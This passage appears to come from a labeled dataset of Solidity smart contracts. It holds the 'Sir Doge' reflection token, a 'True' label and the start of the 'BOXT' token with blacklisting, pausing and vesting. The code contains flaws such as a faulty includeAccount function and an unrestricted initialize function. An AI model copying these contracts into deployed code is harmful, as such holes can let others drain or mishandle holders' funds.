* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SIRDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**12;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Sir Doge';
string private _symbol = 'SIRDOGE';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000000 * 10**12;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity 0.8.9;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/roles/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), 'Roles: account already has role');
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), 'Roles: account does not have role');
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), 'Roles: account is the zero address');
return role.bearer[account];
}
}
// File: contracts/roles/BlacklistManagerRole.sol
// Author : Tokeny Solutions
contract BlacklistManagerRole is Ownable {
using Roles for Roles.Role;
event BlacklistManagerAdded(address indexed _blacklistManager);
event BlacklistManagerRemoved(address indexed _blacklistManager);
Roles.Role private _blacklistManagers;
modifier onlyBlacklistManager() {
require(isBlacklistManager(msg.sender), 'BlacklistManagerRole: caller does not have the role');
_;
}
function isBlacklistManager(address _blacklistManager) public view returns (bool) {
return _blacklistManagers.has(_blacklistManager);
}
function addBlacklistManager(address _blacklistManager) public onlyOwner {
_blacklistManagers.add(_blacklistManager);
emit BlacklistManagerAdded(_blacklistManager);
}
function removeBlacklistManager(address _blacklistManager) public onlyOwner {
_blacklistManagers.remove(_blacklistManager);
emit BlacklistManagerRemoved(_blacklistManager);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: contracts/vesting/IVesting.sol
// Author : Tokeny Solutions
interface IVesting {
// events
event UpdatedTreasury(address newTreasury);
event UpdatedTeam(address newTeam);
event UpdatedEcosystemFund(address newEcosystemFund);
event UpdatedLongTermLockUp(address newLongTermLockUp);
event TokenSet(address token);
event InitialDeposit(address _to, uint256 _amount, uint _cliff, uint _vesting);
event TokensClaimed(address _holder, uint256 _amount);
event ReferenceDateSet(uint256 _referenceDate);
// functions
function setToken(address token) external;
function initialized() external view returns(bool);
function treasury() external view returns(address);
function updateTreasuryWallet(address newTreasury) external;
function team() external view returns(address);
function updateTeamWallet(address newTeam) external;
function ecosystemFund() external view returns(address);
function updateEcosystemFundWallet(address newEcosystemFund) external;
function longTermLockUp() external view returns(address);
function updateLongTermLockUpWallet(address newLongTermLockUp) external;
function initialDeposit(address _to, uint256 _amount, uint _cliff, uint _vesting) external;
function claim() external;
function claimFor(address _holder) external;
function claimAll() external;
function getBalances(address _holder) external view returns(uint, uint, uint);
}
// File: contracts/token/BOXT.sol
contract BOXT is Context, IERC20, IERC20Metadata, BlacklistManagerRole, Pausable {
// event emitted when a wallet is blacklisted by a blacklist manager
event Blacklisted(address wallet);
// event when a wallet that was blacklisted is removed from the blacklist by the blacklist manager
event Whitelisted(address wallet);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// blacklisting status of wallets
mapping(address => bool) private _blacklisted;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// address of the vesting contract on which the non-circulating supply is blocked temporarily
address public _vestingContract;
/**
* @dev constructor of the token
* sets the name and symbol of the token
* @param owner the owner wallet of the contract
* @param vestingContract the address of the vesting contract
* note that the constructor is not making the full initialization of the token, it is required
* to call initialize() after deployment of the token contract
*/
constructor(address owner, address vestingContract) {
_name = 'BOXTradEx Token';
_symbol = 'BOXT';
_vestingContract = vestingContract;
_transferOwnership(owner);
}
/**
* @dev initializes the token supply and sends the tokens to the vesting contract
* on a supply of 500M tokens, only 50M are free at launch, on the treasury wallet
* the rest of the tokens are locked on the vesting smart contract
* this function is setting the token address on the vesting contract
* the function cannot be called twice
*/
function initialize() external {
require(!IVesting(_vestingContract).initialized(), 'already initialized');
IVesting(_vestingContract).setToken(address(this));
_mint(address(this), 500000000*10**6);
_approve(address(this), _vestingContract, 450000000*10**6);
IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).treasury(), 75000000*10**6, 0, 6);
IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).team(), 75000000*10**6, 6, 24);
IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).ecosystemFund(), 250000000*10**6, 0, 18);
IVesting(_vestingContract).initialDeposit(IVesting(_vestingContract).longTermLockUp(), 50000000*10**6, 9, 24);
_transfer(address(this), IVesting(_vestingContract).treasury(), 50000000*10**6);
}
/**
* @dev pauses the token, blocking all transfers as long as paused
* requires the token to not be paused yet
* only owner can call
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev unpauses the token, allowing transfers to happen again
* requires the token to be paused first
* only owner can call
*/
function unpause() public onlyOwner {
_unpause();
}
/**
* @dev getter function returning true if a wallet is blacklisted, false otherwise
* @param _wallet the address to check
*/
function blacklisted(address _wallet) public view returns (bool) {
return _blacklisted[_wallet];
}
/**
* @dev blacklists a wallet address
* requires the wallet to not be blacklisted yet
* @param _wallet the wallet to blacklist
*/
function blacklist(address _wallet) external onlyBlacklistManager {
require(!blacklisted(_wallet), 'wallet already blacklisted');
_blacklisted[_wallet] = true;
emit Blacklisted(_wallet);
}
/**
* @dev remove blacklisting from a wallet
* requires the wallet to be blacklisted first
* @param _wallet the address to whitelist
*/
function whitelist(address _wallet) external onlyBlacklistManager {
require(blacklisted(_wallet), 'wallet not blacklisted');
_blacklisted[_wallet] = false;
emit Whitelisted(_wallet);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
* BOXT token is using 8 decimals instead of 18
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 6;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
